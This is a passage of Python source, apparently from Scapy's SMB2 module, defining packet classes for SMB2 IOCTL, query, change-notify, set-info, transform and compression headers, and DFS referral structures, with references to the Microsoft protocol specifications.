SMB2_FILEID(), SMB2_FILEID),\n        LEIntField(\"InputBufferOffset\", None),\n        LEIntField(\"InputLen\", None),  # Called InputCount but it's a length\n        LEIntField(\"MaxInputResponse\", 0),\n        LEIntField(\"OutputBufferOffset\", None),\n        LEIntField(\"OutputLen\", None),  # Called OutputCount.\n        LEIntField(\"MaxOutputResponse\", 65535),\n        FlagsField(\"Flags\", 0, -32, {0x00000001: \"SMB2_0_IOCTL_IS_FSCTL\"}),\n        LEIntField(\"Reserved2\", 0),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                _SMB2_IOCTL_Request_PacketLenField(\n                    \"Input\", None, conf.raw_layer, length_from=lambda pkt: pkt.InputLen\n                ),\n                _SMB2_IOCTL_Request_PacketLenField(\n                    \"Output\",\n                    None,\n                    conf.raw_layer,\n                    length_from=lambda pkt: pkt.OutputLen,\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Input\": 24,\n                    \"Output\": 36,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_IOCTL_Request,\n    Command=0x000B,\n)\n\n# sect 2.2.32.5\n\n\nclass SOCKADDR_STORAGE(Packet):\n    fields_desc = [\n        LEShortEnumField(\"Family\", 0x0002, {0x0002: \"IPv4\", 0x0017: \"IPv6\"}),\n        ShortField(\"Port\", 0),\n        # IPv4\n        ConditionalField(\n            IPField(\"IPv4Adddress\", None),\n            lambda pkt: pkt.Family == 0x0002,\n        ),\n        ConditionalField(\n            StrFixedLenField(\"Reserved\", b\"\", length=8),\n            lambda pkt: pkt.Family == 0x0002,\n        ),\n        # IPv6\n        ConditionalField(\n            LEIntField(\"FlowInfo\", 0),\n            lambda pkt: pkt.Family == 0x00017,\n        ),\n        ConditionalField(\n            IP6Field(\"IPv6Address\", None),\n            lambda pkt: pkt.Family == 0x00017,\n        ),\n        ConditionalField(\n            LEIntField(\"ScopeId\", 0),\n            lambda pkt: pkt.Family == 0x00017,\n        ),\n    ]\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n\nclass NETWORK_INTERFACE_INFO(Packet):\n    fields_desc = [\n        LEIntField(\"Next\", None),  # 0 = no next entry\n        LEIntField(\"IfIndex\", 1),\n        FlagsField(\n            \"Capability\",\n            1,\n            -32,\n            {\n                0x00000001: \"RSS_CAPABLE\",\n                0x00000002: \"RDMA_CAPABLE\",\n            },\n        ),\n        LEIntField(\"Reserved\", 0),\n        ScalingField(\"LinkSpeed\", 10000000000, fmt=\"<Q\", unit=\"bit/s\"),\n        PacketField(\"SockAddr_Storage\", SOCKADDR_STORAGE(), SOCKADDR_STORAGE),\n    ]\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n\nclass SMB2_IOCTL_Network_Interface_Info(Packet):\n    name = \"SMB2 IOCTL Network Interface Info response\"\n    fields_desc = [\n        _NextPacketListField(\"interfaces\", [], NETWORK_INTERFACE_INFO),\n    ]\n\n\n# sect 2.2.32.6\n\n\nclass SMB2_IOCTL_Validate_Negotiate_Info_Response(Packet):\n    name = \"SMB2 IOCTL Validate Negotiate Info\"\n    fields_desc = (\n        SMB2_Negotiate_Protocol_Response.fields_desc[4:6][::-1]\n        + SMB2_Negotiate_Protocol_Response.fields_desc[  # Cap/GUID\n            1:3\n        ]  # SecMod/DialectRevision\n    )\n\n\n# [MS-FSCC] sect 2.3.42\n\n\nclass SMB2_IOCTL_OFFLOAD_READ_Request(Packet):\n    name = \"SMB2 IOCTL OFFLOAD_READ Request\"\n    fields_desc = [\n        LEIntField(\"StructureSize\", 0x20),\n        LEIntField(\"Flags\", 0),\n        LEIntField(\"TokenTimeToLive\", 0),\n        LEIntField(\"Reserved\", 0),\n        LELongField(\"FileOffset\", 0),\n        LELongField(\"CopyLength\", 0),\n    ]\n\n\n# [MS-FSCC] sect 2.1.11\n\n\nclass STORAGE_OFFLOAD_TOKEN(Packet):\n    fields_desc = [\n        LEIntEnumField(\n            \"TokenType\",\n            0xFFFF0001,\n            {\n                0xFFFF0001: \"STORAGE_OFFLOAD_TOKEN_TYPE_ZERO_DATA\",\n            },\n        ),\n        LEShortField(\"Reserved\", 0),\n        FieldLenField(\"TokenIdLength\", None, fmt=\"<H\", length_of=\"TokenId\"),\n        StrFixedLenField(\"TokenId\", b\"\", length=504),\n    ]\n\n\n# [MS-FSCC] sect 2.3.42\n\n\nclass SMB2_IOCTL_OFFLOAD_READ_Response(Packet):\n    name = \"SMB2 IOCTL OFFLOAD_READ Response\"\n    fields_desc = [\n        LEIntField(\"StructureSize\", 0x210),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"OFFLOAD_READ_FLAG_ALL_ZERO_BEYOND_CURRENT_RANGE\",\n            },\n        ),\n        LELongField(\"TransferLength\", 0),\n        PacketField(\"Token\", STORAGE_OFFLOAD_TOKEN(), STORAGE_OFFLOAD_TOKEN),\n    ]\n\n\n# sect 2.2.32\n\n\nclass _SMB2_IOCTL_Response_PacketLenField(PacketLenField):\n    def m2i(self, pkt, m):\n        if pkt.CtlCode == 0x00140204:  # FSCTL_VALIDATE_NEGOTIATE_INFO\n            return SMB2_IOCTL_Validate_Negotiate_Info_Response(m)\n        elif pkt.CtlCode == 0x001401FC:  # FSCTL_QUERY_NETWORK_INTERFACE_INFO\n            return SMB2_IOCTL_Network_Interface_Info(m)\n        elif pkt.CtlCode == 0x00060194:  # FSCTL_DFS_GET_REFERRALS\n            return SMB2_IOCTL_RESP_GET_DFS_Referral(m)\n        return conf.raw_layer(m)\n\n\nclass SMB2_IOCTL_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 IOCTL Response\"\n    Command = 0x000B\n    OFFSET = 48 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    StructureSize = 0x31\n    MaxOutputResponse = 0\n    fields_desc = (\n        SMB2_IOCTL_Request.fields_desc[:6]\n        + SMB2_IOCTL_Request.fields_desc[7:9]\n        + SMB2_IOCTL_Request.fields_desc[10:12]\n        + [\n            _NTLMPayloadField(\n                \"Buffer\",\n                OFFSET,\n                [\n                    _SMB2_IOCTL_Response_PacketLenField(\n                        \"Input\",\n                        None,\n                        conf.raw_layer,\n                        length_from=lambda pkt: pkt.InputLen,\n                    ),\n                    _SMB2_IOCTL_Response_PacketLenField(\n                        \"Output\",\n                        None,\n                        conf.raw_layer,\n                        length_from=lambda pkt: pkt.OutputLen,\n                    ),\n                ],\n            ),\n        ]\n    )\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Input\": 24,\n                    \"Output\": 32,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_IOCTL_Response,\n    Command=0x000B,\n    Flags=1,  # SMB2_FLAGS_SERVER_TO_REDIR\n)\n\n# sect 2.2.33\n\n\nclass SMB2_Query_Directory_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 QUERY DIRECTORY Request\"\n    Command = 0x000E\n    OFFSET = 32 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x21),\n        ByteEnumField(\"FileInformationClass\", 0x1, FileInformationClasses),\n        FlagsField(\n            \"Flags\",\n            0,\n            -8,\n            {\n                0x01: \"SMB2_RESTART_SCANS\",\n                0x02: \"SMB2_RETURN_SINGLE_ENTRY\",\n                0x04: \"SMB2_INDEX_SPECIFIED\",\n                0x10: \"SMB2_REOPEN\",\n            },\n        ),\n        LEIntField(\"FileIndex\", 0),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        LEShortField(\"FileNameBufferOffset\", None),\n        LEShortField(\"FileNameLen\", None),\n        LEIntField(\"OutputBufferLength\", 65535),\n        _NTLMPayloadField(\"Buffer\", OFFSET, [StrFieldUtf16(\"FileName\", b\"\")]),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"FileName\": 24,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Query_Directory_Request,\n    Command=0x000E,\n)\n\n# sect 2.2.34\n\n\nclass SMB2_Query_Directory_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 QUERY DIRECTORY Response\"\n    Command = 0x000E\n    OFFSET = 8 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x9),\n        LEShortField(\"OutputBufferOffset\", None),\n        LEIntField(\"OutputLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                # TODO\n                StrFixedLenField(\"Output\", b\"\", length_from=lambda pkt: pkt.OutputLen)\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Output\": 2,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Query_Directory_Response,\n    Command=0x000E,\n    Flags=1,\n)\n\n# sect 2.2.35\n\n\nclass SMB2_Change_Notify_Request(_SMB2_Payload):\n    name = \"SMB2 CHANGE NOTIFY Request\"\n    Command = 0x000F\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x20),\n        FlagsField(\n            \"Flags\",\n            0,\n            -16,\n            {\n                0x0001: \"SMB2_WATCH_TREE\",\n            },\n        ),\n        LEIntField(\"OutputBufferLength\", 2048),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        FlagsField(\n            \"CompletionFilter\",\n            0,\n            -32,\n            {\n                0x00000001: \"FILE_NOTIFY_CHANGE_FILE_NAME\",\n                0x00000002: \"FILE_NOTIFY_CHANGE_DIR_NAME\",\n                0x00000004: \"FILE_NOTIFY_CHANGE_ATTRIBUTES\",\n                0x00000008: \"FILE_NOTIFY_CHANGE_SIZE\",\n                0x00000010: \"FILE_NOTIFY_CHANGE_LAST_WRITE\",\n                0x00000020: \"FILE_NOTIFY_CHANGE_LAST_ACCESS\",\n                0x00000040: \"FILE_NOTIFY_CHANGE_CREATION\",\n                0x00000080: \"FILE_NOTIFY_CHANGE_EA\",\n                0x00000100: \"FILE_NOTIFY_CHANGE_SECURITY\",\n                0x00000200: \"FILE_NOTIFY_CHANGE_STREAM_NAME\",\n                0x00000400: \"FILE_NOTIFY_CHANGE_STREAM_SIZE\",\n                0x00000800: \"FILE_NOTIFY_CHANGE_STREAM_WRITE\",\n            },\n        ),\n        LEIntField(\"Reserved\", 0),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Change_Notify_Request,\n    Command=0x000F,\n)\n\n# sect 2.2.36\n\n\nclass SMB2_Change_Notify_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 CHANGE NOTIFY Response\"\n    Command = 0x000F\n    OFFSET = 8 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x9),\n        LEShortField(\"OutputBufferOffset\", None),\n        LEIntField(\"OutputLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                _NextPacketListField(\n                    \"Output\",\n                    [],\n                    FILE_NOTIFY_INFORMATION,\n                    length_from=lambda pkt: pkt.OutputLen,\n                    max_count=1000,\n                )\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Output\": 2,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Change_Notify_Response,\n    Command=0x000F,\n    Flags=1,\n)\n\n# sect 2.2.37\n\n\nclass FILE_GET_QUOTA_INFORMATION(Packet):\n    fields_desc = [\n        IntField(\"NextEntryOffset\", 0),\n        FieldLenField(\"SidLength\", None, length_of=\"Sid\"),\n        StrLenField(\"Sid\", b\"\", length_from=lambda x: x.SidLength),\n        StrLenField(\n            \"pad\",\n            b\"\",\n            length_from=lambda x: (\n                (x.NextEntryOffset - x.SidLength) if x.NextEntryOffset else 0\n            ),\n        ),\n    ]\n\n\nclass SMB2_Query_Quota_Info(Packet):\n    fields_desc = [\n        ByteField(\"ReturnSingle\", 0),\n        ByteField(\"ReturnBoolean\", 0),\n        ShortField(\"Reserved\", 0),\n        LEIntField(\"SidListLength\", 0),\n        LEIntField(\"StartSidLength\", 0),\n        LEIntField(\"StartSidOffset\", 0),\n        StrLenField(\"pad\", b\"\", length_from=lambda x: x.StartSidOffset),\n        MultipleTypeField(\n            [\n                (\n                    PacketListField(\n                        \"SidBuffer\",\n                        [],\n                        FILE_GET_QUOTA_INFORMATION,\n                        length_from=lambda x: x.SidListLength,\n                    ),\n                    lambda x: x.SidListLength,\n                ),\n                (\n                    StrLenField(\n                        \"SidBuffer\", b\"\", length_from=lambda x: x.StartSidLength\n                    ),\n                    lambda x: x.StartSidLength,\n                ),\n            ],\n            StrFixedLenField(\"SidBuffer\", b\"\", length=0),\n        ),\n    ]\n\n\nSMB2_INFO_TYPE = {\n    0x01: \"SMB2_0_INFO_FILE\",\n    0x02: \"SMB2_0_INFO_FILESYSTEM\",\n    0x03: \"SMB2_0_INFO_SECURITY\",\n    0x04: \"SMB2_0_INFO_QUOTA\",\n}\n\nSMB2_ADDITIONAL_INFORMATION = {\n    0x00000001: \"OWNER_SECURITY_INFORMATION\",\n    0x00000002: \"GROUP_SECURITY_INFORMATION\",\n    0x00000004: \"DACL_SECURITY_INFORMATION\",\n    0x00000008: \"SACL_SECURITY_INFORMATION\",\n    0x00000010: \"LABEL_SECURITY_INFORMATION\",\n    0x00000020: \"ATTRIBUTE_SECURITY_INFORMATION\",\n    0x00000040: \"SCOPE_SECURITY_INFORMATION\",\n    0x00010000: \"BACKUP_SECURITY_INFORMATION\",\n}\n\n\nclass SMB2_Query_Info_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 QUERY INFO Request\"\n    Command = 0x0010\n    OFFSET = 40 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x29),\n        ByteEnumField(\n            \"InfoType\",\n            0,\n            SMB2_INFO_TYPE,\n        ),\n        ByteEnumField(\"FileInfoClass\", 0, FileInformationClasses),\n        LEIntField(\"OutputBufferLength\", 0),\n        XLEIntField(\"InputBufferOffset\", None),  # Short + Reserved = Int\n        LEIntField(\"InputLen\", None),\n        FlagsField(\n            \"AdditionalInformation\",\n            0,\n            -32,\n            SMB2_ADDITIONAL_INFORMATION,\n        ),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"SL_RESTART_SCAN\",\n                0x00000002: \"SL_RETURN_SINGLE_ENTRY\",\n                0x00000004: \"SL_INDEX_SPECIFIED\",\n            },\n        ),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                MultipleTypeField(\n                    [\n                        (\n                            # QUOTA\n                            PacketListField(\n                                \"Input\",\n                                None,\n                                SMB2_Query_Quota_Info,\n                                length_from=lambda pkt: pkt.InputLen,\n                            ),\n                            lambda pkt: pkt.InfoType == 0x04,\n                        ),\n                    ],\n                    StrLenField(\"Input\", b\"\", length_from=lambda pkt: pkt.InputLen),\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Input\": 4,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Query_Info_Request,\n    Command=0x00010,\n)\n\n\nclass SMB2_Query_Info_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 QUERY INFO Response\"\n    Command = 0x0010\n    OFFSET = 8 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x9),\n        LEShortField(\"OutputBufferOffset\", None),\n        LEIntField(\"OutputLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                # TODO\n                StrFixedLenField(\"Output\", b\"\", length_from=lambda pkt: pkt.OutputLen)\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Output\": 2,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Query_Info_Response,\n    Command=0x00010,\n    Flags=1,\n)\n\n\n# sect 2.2.39\n\n\nclass SMB2_Set_Info_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 SET INFO Request\"\n    Command = 0x0011\n    OFFSET = 32 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x21),\n        ByteEnumField(\n            \"InfoType\",\n            0,\n            SMB2_INFO_TYPE,\n        ),\n        ByteEnumField(\"FileInfoClass\", 0, FileInformationClasses),\n        LEIntField(\"DataLen\", None),\n        XLEIntField(\"DataBufferOffset\", None),  # Short + Reserved = Int\n        FlagsField(\n            \"AdditionalInformation\",\n            0,\n            -32,\n            SMB2_ADDITIONAL_INFORMATION,\n        ),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                MultipleTypeField(\n                    [\n                        (\n                            # FILE\n                            PacketLenField(\n                                \"Data\",\n                                None,\n                                lambda x, _parent: _FileInformationClasses.get(\n                                    _parent.FileInfoClass, conf.raw_layer\n                                )(x),\n                                length_from=lambda pkt: pkt.DataLen,\n                            ),\n                            lambda pkt: pkt.InfoType == 0x01,\n                        ),\n                        (\n                            # QUOTA\n                            PacketListField(\n                                \"Data\",\n                                None,\n                                SMB2_Query_Quota_Info,\n                                length_from=lambda pkt: pkt.DataLen,\n                            ),\n                            lambda pkt: pkt.InfoType == 0x04,\n                        ),\n                    ],\n                    StrLenField(\"Data\", b\"\", length_from=lambda pkt: pkt.DataLen),\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Data\": 4,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Set_Info_Request,\n    Command=0x00011,\n)\n\n\nclass SMB2_Set_Info_Response(_SMB2_Payload):\n    name = \"SMB2 SET INFO Request\"\n    Command = 0x0011\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x02),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Set_Info_Response,\n    Command=0x00011,\n    Flags=1,\n)\n\n\n# sect 2.2.41\n\n\nclass SMB2_Transform_Header(Packet):\n    name = \"SMB2 Transform Header\"\n    fields_desc = [\n        StrFixedLenField(\"Start\", b\"\\xfdSMB\", 4),\n        XStrFixedLenField(\"Signature\", 0, length=16),\n        XStrFixedLenField(\"Nonce\", b\"\", length=16),\n        LEIntField(\"OriginalMessageSize\", 0x0),\n        LEShortField(\"Reserved\", 0),\n        LEShortEnumField(\n            \"Flags\",\n            0x1,\n            {\n                0x0001: \"ENCRYPTED\",\n            },\n        ),\n        LELongField(\"SessionId\", 0),\n    ]\n\n    def decrypt(self, dialect, DecryptionKey, CipherId):\n        \"\"\"\n        [MS-SMB2] sect 3.2.5.1.1.1 - Decrypting the Message\n        \"\"\"\n        if not isinstance(self.payload, conf.raw_layer):\n            raise Exception(\"No payload to decrypt !\")\n\n        if \"GCM\" in CipherId:\n            from cryptography.hazmat.primitives.ciphers.aead import AESGCM\n\n            nonce = self.Nonce[:12]\n            cipher = AESGCM(DecryptionKey)\n        elif \"CCM\" in CipherId:\n            from cryptography.hazmat.primitives.ciphers.aead import AESCCM\n\n            nonce = self.Nonce[:11]\n            cipher = AESCCM(DecryptionKey)\n        else:\n            raise Exception(\"Unknown CipherId !\")\n\n        # Decrypt the data\n        aad = self.self_build()[20:]\n        data = cipher.decrypt(\n            nonce,\n            self.payload.load + self.Signature,\n            aad,\n        )\n        return SMB2_Header(data, _decrypted=True)\n\n\nbind_layers(SMB2_Transform_Header, conf.raw_layer)\n\n\n# sect 2.2.42.1\n\n\nclass SMB2_Compression_Transform_Header(Packet):\n    name = \"SMB2 Compression Transform Header\"\n    fields_desc = [\n        StrFixedLenField(\"Start\", b\"\\xfcSMB\", 4),\n        LEIntField(\"OriginalCompressedSegmentSize\", 0x0),\n        LEShortEnumField(\"CompressionAlgorithm\", 0, SMB2_COMPRESSION_ALGORITHMS),\n        LEShortEnumField(\n            \"Flags\",\n            0x0,\n            {\n                0x0000: \"SMB2_COMPRESSION_FLAG_NONE\",\n                0x0001: \"SMB2_COMPRESSION_FLAG_CHAINED\",\n            },\n        ),\n        XLEIntField(\"Offset_or_Length\", 0),\n    ]\n\n\n# [MS-DFSC] sect 2.2\n\n\nclass SMB2_IOCTL_REQ_GET_DFS_Referral(Packet):\n    fields_desc = [\n        LEShortField(\"MaxReferralLevel\", 0),\n        StrNullFieldUtf16(\"RequestFileName\", \"\"),\n    ]\n\n\nclass DFS_REFERRAL(Packet):\n    fields_desc = [\n        LEShortField(\"Version\", 1),\n        FieldLenField(\n            \"Size\", None, fmt=\"<H\", length_of=\"ShareName\", adjust=lambda pkt, x: x + 9\n        ),\n        LEShortEnumField(\"ServerType\", 0, {0: \"non-root\", 1: \"root\"}),\n        LEShortField(\"ReferralEntryFlags\", 0),\n        StrNullFieldUtf16(\"ShareName\", \"\"),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            version = struct.unpack(\"<H\", _pkt[:2])[0]\n            if version == 1:\n                return DFS_REFERRAL\n            elif version == 3:\n                return DFS_REFERRAL_V3\n            elif version == 4:\n                return DFS_REFERRAL_V4\n        return cls\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\nclass DFS_REFERRAL_V3(DFS_REFERRAL):\n    fields_desc = [\n        LEShortField(\"Version\", 3),\n        LEShortField(\"Size\", None),\n        LEShortEnumField(\"ServerType\", 0, {0: \"non-root\", 1: \"root\"}),\n        FlagsField(\n            \"ReferralEntryFlags\",\n            0,\n            -16,\n            {\n                0x0002: \"NameListReferral\",\n                0x0004: \"TargetSetBoundary\",\n            },\n        ),\n        LEIntField(\"TimeToLive\", 300),\n        # NameListReferral is 0\n        ConditionalField(\n            LEShortField(\"DFSPathOffset\", None),\n            lambda pkt: not pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        ConditionalField(\n            LEShortField(\"DFSAlternatePathOffset\", None),\n            lambda pkt: not pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        ConditionalField(\n            LEShortField(\"NetworkAddressOffset\", None),\n            lambda pkt: not pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        ConditionalField(\n            StrFixedLenField(\"ServiceSiteGuid\", 0, length=16),\n            lambda pkt: not pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        # NameListReferral is 1\n        ConditionalField(\n            LEShortField(\"SpecialNameOffset\", None),\n            lambda pkt: pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        ConditionalField(\n            LEShortField(\"NumberOfExpandedNames\", None),\n            lambda pkt: pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        ConditionalField(\n            LEShortField(\"ExpandedNameOffset\", None),\n            lambda pkt: pkt.ReferralEntryFlags.NameListReferral,\n        ),\n        ConditionalField(\n            StrLenField(\"Padding\", None, length_from=lambda pkt: pkt.Size - 18),\n            lambda pkt: pkt.ReferralEntryFlags.NameListReferral,\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        if self.Size is None:\n            pkt = pkt[:2] + struct.pack(\"<H\", len(pkt)) + pkt[4:]\n        return pkt + pay\n\n\nclass DFS_REFERRAL_V4(DFS_REFERRAL_V3):\n    Version = 4\n\n\nclass DFS_REFERRAL_ENTRY0(Packet):\n    fields_desc = [\n        StrNullFieldUtf16(\"DFSPath\", \"\"),\n        StrNullFieldUtf16(\"DFSAlternatePath\", \"\"),\n        StrNullFieldUtf16(\"NetworkAddress\", \"\"),\n    ]\n\n\nclass DFS_REFERRAL_ENTRY1(Packet):\n    fields_desc = [\n        StrNullFieldUtf16(\"SpecialName\", \"\"),\n        FieldListField(\n            \"ExpandedName\",\n            [],\n            StrNullFieldUtf16(\"\", \"\"),\n        ),\n    ]\n\n\nclass _DFS_Referrals_BufferField(PacketListField):\n    def getfield(self, pkt, s):\n        results = []\n        offset = sum(x.Size for x in pkt.ReferralEntries)\n        for ref in pkt.ReferralEntries:\n            # For every ref\n            if not ref.ReferralEntryFlags.NameListReferral:\n                cls = DFS_REFERRAL_ENTRY0\n            else:\n                cls = DFS_REFERRAL_ENTRY1\n            # Build the fields manually\n            fld = _NTLMPayloadField(\n                \"\",\n                offset,\n                cls.fields_desc,\n                force_order=[x.name for x in cls.fields_desc],\n                offset_name=\"Offset\",\n            )\n            remain, vals = fld.getfield(ref, s)\n            vals = fld.i2h(ref, vals)\n            # Append the entry class\n            results.append(cls(**{x[0]: x[1] for x in vals}))\n            offset -= ref.Size\n        return b\"\", results\n\n    def addfield(self, pkt, s, vals):\n        offset = sum(len(x) for x in pkt.ReferralEntries)\n        for i, val in enumerate(vals):\n            try:\n                ref = pkt.ReferralEntries[i]\n            except KeyError:\n                ref = None\n            fld = _NTLMPayloadField(\n                \"\",\n                offset,\n                val.fields_desc,\n                force_order=[x.name for x in val.fields_desc],\n                offset_name=\"Offset\",\n            )\n            # Append the bytes manually\n            values = [(fld.name, getattr(val, fld.name)) for fld in val.fields_desc]\n            values = fld.h2i(ref, values)\n            s += fld.addfield(ref, b\"\", values)\n            offset -= len(ref)\n        return s\n\n\nclass SMB2_IOCTL_RESP_GET_DFS_Referral(Packet):\n    fields_desc = [\n        LEShortField(\"PathConsumed\", 0),\n        FieldLenField(\"NumberOfReferrals\", None, fmt=\"<H\", count_of=\"ReferralEntries\"),\n        FlagsField(\n            \"ReferralHeaderFlags\",\n            0,\n            -32,\n            {\n                0x00000001: \"ReferralServers\",\n                0x00000002: \"StorageServers\",\n                0x00000004: \"TargetFailback\",\n            },\n        ),\n        PacketListField(\n            \"ReferralEntries\",\n            [],\n            DFS_REFERRAL,\n            count_from=lambda pkt: pkt.NumberOfReferrals,\n        ),\n        _DFS_Referrals_BufferField(\"ReferralBuffer\", []),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        # Note: Windows is smart and uses some sort of compression in the sense\n        # that it reuses fields that are used several times across ReferralBuffer.\n        # But we just do the dumb thing because it's 'easier', and do no compression.\n        offsets = {\n            # DFS_REFERRAL_ENTRY0\n            \"DFSPath\": 12,\n            \"DFSAlternatePath\": 14,\n            \"NetworkAddress\": 16,\n            # DFS_REFERRAL_ENTRY1\n            \"SpecialName\": 12,\n            \"ExpandedName\": 16,\n        }\n        # dataoffset = pointer in the ReferralBuffer\n        # entryoffset = pointer in the ReferralEntries\n        dataoffset = sum(len(x) for x in self.ReferralEntries)\n        entryoffset = 8\n        for ref, buf in zip(self.ReferralEntries, self.ReferralBuffer):\n            for fld in buf.fields_desc:\n                off = entryoffset + offsets[fld.name]\n                if ref.getfieldval(fld.name + \"Offset\") is None and buf.getfieldval(\n                    fld.name\n                ):\n                    pkt = pkt[:off] + struct.pack(\"<H\", dataoffset) + pkt[off + 2 :]\n                dataoffset += len(fld.addfield(self, b\"\", buf.getfieldval(fld.name)))\n            dataoffset -= len(ref)\n            entryoffset += len(ref)\n        return pkt + pay\n\n\n# [MS-SMB2] various usages\n\n\ndef SMB2computePreauthIntegrityHashValue(\n    PreauthIntegrityHashValue, s, HashId=\"SHA-512\"\n):\n    \"\"\"\n    Update the PreauthIntegrityHashValue\n    \"\"\"\n    # get hasher\n    hasher = {\"SHA-512\": hashlib.sha512}[HashId]\n    # compute the hash of concatenation of previous and bytes\n    return hasher(PreauthIntegrityHashValue + s).digest()\n\n\n# SMB2 socket and session\n\n\nclass SMBStreamSocket(StreamSocket):\n    \"\"\"\n    A modified StreamSocket to dissect SMB compounded requests\n    [MS-SMB2] 3.3.5.2.7\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.queue = collections.deque()\n        self.session = SMBSession()\n        super(SMBStreamSocket, self).__init__(*args, **kwargs)\n\n    def recv(self, x=None):\n        # note: normal StreamSocket takes care of NBTSession / DirectTCP fragments.\n        # this takes care of splitting compounded requests\n        if self.queue:\n            pkt = self.queue.popleft()\n        else:\n            pkt = super(SMBStreamSocket, self).recv(x)\n\n        # If there are multiple SMB2_Header requests (aka. compounded),\n        # take the first and store the rest in a queue.\n        if pkt is not None and (\n            SMB2_Header in pkt\n            or SMB2_Transform_Header in pkt\n            or 